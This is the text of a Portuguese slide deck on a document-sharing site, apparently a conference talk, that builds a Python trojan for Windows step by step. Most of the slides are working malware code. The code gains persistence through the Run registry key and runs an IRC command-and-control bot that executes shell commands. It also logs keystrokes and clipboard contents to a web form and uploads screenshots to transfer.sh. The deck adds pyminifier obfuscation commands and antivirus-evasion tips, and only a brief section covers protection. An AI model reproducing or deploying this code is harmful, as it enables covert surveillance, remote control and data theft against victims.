100% acharam este documento útil (4 votos)
2K visualizações

Criando Um Malware Com Python

O documento discute como programar malwares usando Python, descrevendo três técnicas: 1) modificar o registro do Windows para garantir a execução contínua do malware, 2) estabelecer comunicação entre atacante e vítima usando IRC, e 3) receber e responder comandos no canal IRC.

Enviado por

Pedro Davi
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
100% acharam este documento útil (4 votos)
2K visualizações

Criando Um Malware Com Python

O documento discute como programar malwares usando Python, descrevendo três técnicas: 1) modificar o registro do Windows para garantir a execução contínua do malware, 2) estabelecer comunicação entre atacante e vítima usando IRC, e 3) receber e responder comandos no canal IRC.

Enviado por

Pedro Davi
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 129

Olá!

Eu sou Yan Orestes


Produtor de conteúdo na

@yanorestes
1
Entendendo o
funcionamento de
um malware
usando Python
2
O que é um
malware?
Vamos entender esse conceito

3
Malware
malicious software

software malicioso

4
Ransomware

Worm
Vírus

Não é só ...
vírus! Malware
5
Qual
escolher?
Destrutivo Útil
X
6
Cavalo
de Troia
Dando o máximo de
possibilidades para o
atacante através do
Command & Control (C&C)

7
Como?

8
Como? Python

9
Como? Python

Por quê?

10
Como? Python

Por quê?

Por que não? 11


Vítima

Windows (8)

12
Um vírus ineficiente
destrói seu portador. Um
vírus esperto fica com
ele.
- James Lovelock

13
Garantindo a
execução 1.
contínua do
malware
14
Escondendo o malware
em outros programas

Fácil de programar Pouca efetividade

15
Modificando o
Registro do Windows

Efetivo Necessita privilégios de


administrador

16
Registro

Chaves

Subchaves
17
HKEY_LOCAL_MACHINE

Run
18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run

19
Como fazer isso no
Python?

20
Como fazer isso no
Python?

● winreg

21
Como fazer isso no
Python?

● winreg
● os

22
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

23
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

24
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

25
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

26
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

27
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()

28
Como estabelecer
a comunicação
entre atacante e
vítima?
29
Conectando a 2.
vítima ao
atacante
30
Conexão direta entre
atacante e vítima

Maior controle Maior vulnerabilidade

31
Usando serviços
externos (como Twitter)

Fácil de programar Menos controle

32
Conectando através de
uma rede IRC

Maior controle Difícil de configurar

33
IRC

34
Como fazer isso no
Python?

35
Como fazer isso no
Python?

● socket

36
1. import socket
2. class ConexaoAtacante:
3. def __init__(self, endereco_irc):
4. self.socket = socket.socket()
5. self.socket.connect(endereco_irc)
6.
7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667))

37
1. import socket
2. class ConexaoAtacante:
3. def __init__(self, endereco_irc):
4. self.socket = socket.socket()
5. self.socket.connect(endereco_irc)
6.
7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667))

Só isso?

38
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

39
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

40
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

41
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

42
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

43
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg

44
1. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667), 'MalwareBot')
2. while True:
3. cmd = conexao.recebe_comando()
4. # tratar comando recebido

Main Loop
45
Como tomar o
controle do
computador da
vítima?
46
Executando
comandos no 3.
computador da
vítima
47
Usando os.system()

Muita simplicidade Pouca flexibilidade

48
Usando o módulo subprocess

Muita flexibilidade

49
Usando o módulo subprocess

Muita flexibilidade Quê?

50
51
52
1. from subprocess import run, PIPE, STDOUT
2.
3. def roda_comando_no_shell(cmd):
4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
5. resposta = processo_completo.stdout.decode('utf8', errors='ignore')
6. return resposta

53
1. from subprocess import run, PIPE, STDOUT
2.
3. def roda_comando_no_shell(cmd):
4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
5. resposta = processo_completo.stdout.decode('utf8', errors='ignore')
6. return resposta

mas e a comunicação com o


atacante?
54
1. class ConexaoAtacante:
2. # Código omitido
3. def parse_msg(self, msg):
4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg)
5. return match
6.
7. def recebe_comando(self):
8. msg = self.socket.recv(4096).decode('utf8', errors='ignore')
9. self.responde_ping(msg)
10. msg_match = self.parse_msg(msg)
11. if msg_match:
12. return msg_match.groups()
13. return None, None
14. # Código omitido

55
1. class ConexaoAtacante:
2. # Código omitido
3. def parse_msg(self, msg):
4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg)
5. return match
6.
7. def recebe_comando(self):
8. msg = self.socket.recv(4096).decode('utf8', errors='ignore')
9. self.responde_ping(msg)
10. msg_match = self.parse_msg(msg)
11. if msg_match:
12. return msg_match.groups()
13. return None, None
14. # Código omitido

56
1. class ConexaoAtacante:
2. # Código omitido
3. def parse_msg(self, msg):
4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg)
5. return match
6.
7. def recebe_comando(self):
8. msg = self.socket.recv(4096).decode('utf8', errors='ignore')
9. self.responde_ping(msg)
10. msg_match = self.parse_msg(msg)
11. if msg_match:
12. return msg_match.groups()
13. return None, None
14. # Código omitido

57
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

58
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

59
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

60
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

61
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))

62
Capturando
dados do usuário
4.
em tempo real

63
Capturando
teclas
digitadas
(keylogger)
64
Como fazer isso no
Python?

65
Como fazer isso no
Python?

● keyboard
https://github.com/boppreh/keyboard

66
Como fazer isso no
Python?

● keyboard
● requests
http://docs.python-requests.org/en/master
/
67
Como fazer isso no
Python?

● keyboard
● requests
● pyperclip
https://github.com/asweigart/pyperclip
68
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))

69
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))

Hello, world!

70
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))

Hello, world!
shiftHello,spaceworldshift!

71
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
72
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
73
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
74
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
75
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5. e como o
6. def trata_tecla(k):
7. if 'shift' in k.modifiers: atacante
8.
9.
teclas_apertadas.pop()
tecla = k.nome
acessa isso?
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
76
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})

77
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})

78
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})

79
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})

80
Toque de ouro

81
Toque de ouro
1. from pyperclip import paste
2.
3. def trata_copypaste():
4. texto_copiado = paste()
5. teclas_apertadas.extend(list(texto_copiado))
6.
7. keyboard.add_hotkey('ctrl+c', trata_copypaste)
82
Capturando
a tela da
vítima
83
Como fazer isso no
Python?

84
Como fazer isso no
Python?

● pyscreenshot
https://github.com/ponty/pyscreensho
t

85
Como fazer isso no
Python?

● pyscreenshot
● os

86
Como fazer isso no
Python?

● pyscreenshot
● os
● requests
87
1. from pyscreenshot import grab_to_file
2.
3. def tira_screenshot(filename):
4. grab_to_file(filename)

88
1. from pyscreenshot import grab_to_file
2.
3. def tira_screenshot(filename):
4. grab_to_file(filename)
5.
6. comandos = {'!shell': roda_comando_no_shell,
'!screenshot': tira_screenshot}

89
1. from pyscreenshot import grab_to_file
2.
e como o
3. def tira_screenshot(filename):
atacante
4. grab_to_file(filename)
acessa isso?
5.
6. comandos = {'!shell': roda_comando_no_shell,
'!screenshot': tira_screenshot}

90
1. from pyscreenshot import grab_to_file
2. from requests import post
3.
4. def tira_screenshot(filename):
5. grab_to_file(filename)
6. with open(filename, 'rb') as f:
7. r = post('https://transfer.sh', files={filename: f})
8. resposta = r.text if r.status_code == 200 else 'Erro no upload'
9. return resposta

91
1. from pyscreenshot import grab_to_file
2. from requests import post
3.
4. def tira_screenshot(filename):
5. grab_to_file(filename)
6. with open(filename, 'rb') as f:
7. r = post('https://transfer.sh', files={filename: f})
8. resposta = r.text if r.status_code == 200 else 'Erro no upload'
9. return resposta

92
1. from os import remove
2. from pyscreenshot import grab_to_file
3. from requests import post
4.
5. def tira_screenshot(filename):
6. grab_to_file(filename)
7. with open(filename, 'rb') as f:
8. r = post('https://transfer.sh', files={filename: f})
9. resposta = r.text if r.status_code == 200 else 'Erro no upload'
10. return resposta
11. remove(filename)

93
Extra!
94
Ofuscação de
5.
código

95
Compilar para bytecode

Fácil Facilmente recuperável

96
Usando pyminifier

Divertido Recuperável

97
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py

98
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py

2. pyminifier -O --nonlatin -o nivel2.py malware.py

99
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py

2. pyminifier -O --nonlatin -o nivel2.py malware.py

3. pyminifier -O --nonlatin --replacement-length=100 -o nivel3.py malware.py

100
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py

2. pyminifier -O --nonlatin -o nivel2.py malware.py

3. pyminifier -O --nonlatin --replacement-length=100 -o nivel3.py malware.py

4. pyminifier -O --nonlatin --replacement-length=100 --gzip -o nivel4.py


malware.py

101
Escalonamento
6.
de privilégios

102
Escalonamento
6.
de privilégios
● Brute force

103
Escalonamento
6.
de privilégios
● Brute force
● Injeção de código

104
E como o
usuário pode
se proteger?
105
Precaução
106
Controle das
conexões
107
Antivírus?
108
O melhor antivírus é o
bom senso
- Anônimo entendedor de tudo

109
O melhor antivírus é o
bom senso
- Anônimo entendedor de tudo

Será?
110
Antivírus são
insuportáveis

111
Antivírus são
insuportáveis
Taxas de renovação inesperadas

112
Antivírus são
insuportáveis
Taxas de renovação inesperadas
Problemas com o sistema

113
Antivírus são
insuportáveis
Taxas de renovação inesperadas
Problemas com o sistema
aaaaaaaaaaaaaaaaaaaaaaaaa
114
2010 - Caso McAfee

115
2010 - Caso McAfee
2011 - Caso MSE

116
2010 - Caso McAfee
2011 - Caso MSE
2012 - Caso Sophos
117
Efetividade baixa
2006 - 40-50%
2007 - 20-30%

118
Efetividade baixa?

2006 - 40-50%
2007 - 20-30%
2013 - 91.1-99.9%

119
Humanos falham

120
A não ser que você...
● Não compartilhe arquivos e/ou links com ninguém
● Não permita que ninguém além de você use seu computador
● Não use a Internet para compras, entretenimento adulto ou jogos
online
● Nunca utilize uma rede WiFi pública
● Não compartilhe o seu WiFi privado com ninguém
● Nunca clique em nenhuma propaganda
● Utilize senhas extremamente seguras e nunca repete nenhuma
● Não utilize um smartphone
● Não faça download de nada pela Internet
121
A não ser que você...
● Não compartilhe arquivos e/ou links com ninguém
● Não permita que ninguém além de você use seu computador
● Não use a Internet para compras, entretenimento adulto ou jogos
online
● Nunca utilize uma rede WiFi pública
● Não compartilhe o seu WiFi privado com ninguém
● Nunca clique em nenhuma propaganda
● Utilize senhas extremamente seguras e nunca repete nenhuma
● Não utilize um smartphone
● Não faça download de nada pela Internet
● Não utilize um sistema operacional 122
Proteção contra
7.
antivírus

123
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico

124
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico
● Sandbox => Detecção (mouse)
https://github.com/boppreh/mouse/
125
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico
● Sandbox => Detecção (mouse)
● Método heurístico => ?
126
Muito
obrigado!
Alguma pergunta?
Você pode falar comigo em
▪ @yanorestes
[email protected]
https://speakerdeck.com/yanorestes/criando-um-malware-com-python 127
Agradecimentos
especiais
▪ Python Brasil
▪ Roosevelt Fujikawa ([email protected])
▪ Alura/Caelum
▪ Casa do Código (PythonBrasil&CasadoCodigo)
15%

128
Design da
apresentação
Essa apresentação usa as seguintes fontes:
▪ Títulos: Work sans bold
▪ Corpo: Work sans light
▪ Código: Arial com formatação do tohtml.com
Você pode baixar as fontes nessa página
https://github.com/weiweihuanghuang/Work-Sans/tree/master/fonts/desktop

Layout dos slides e ícones por SlidesCarnival


129

Você também pode gostar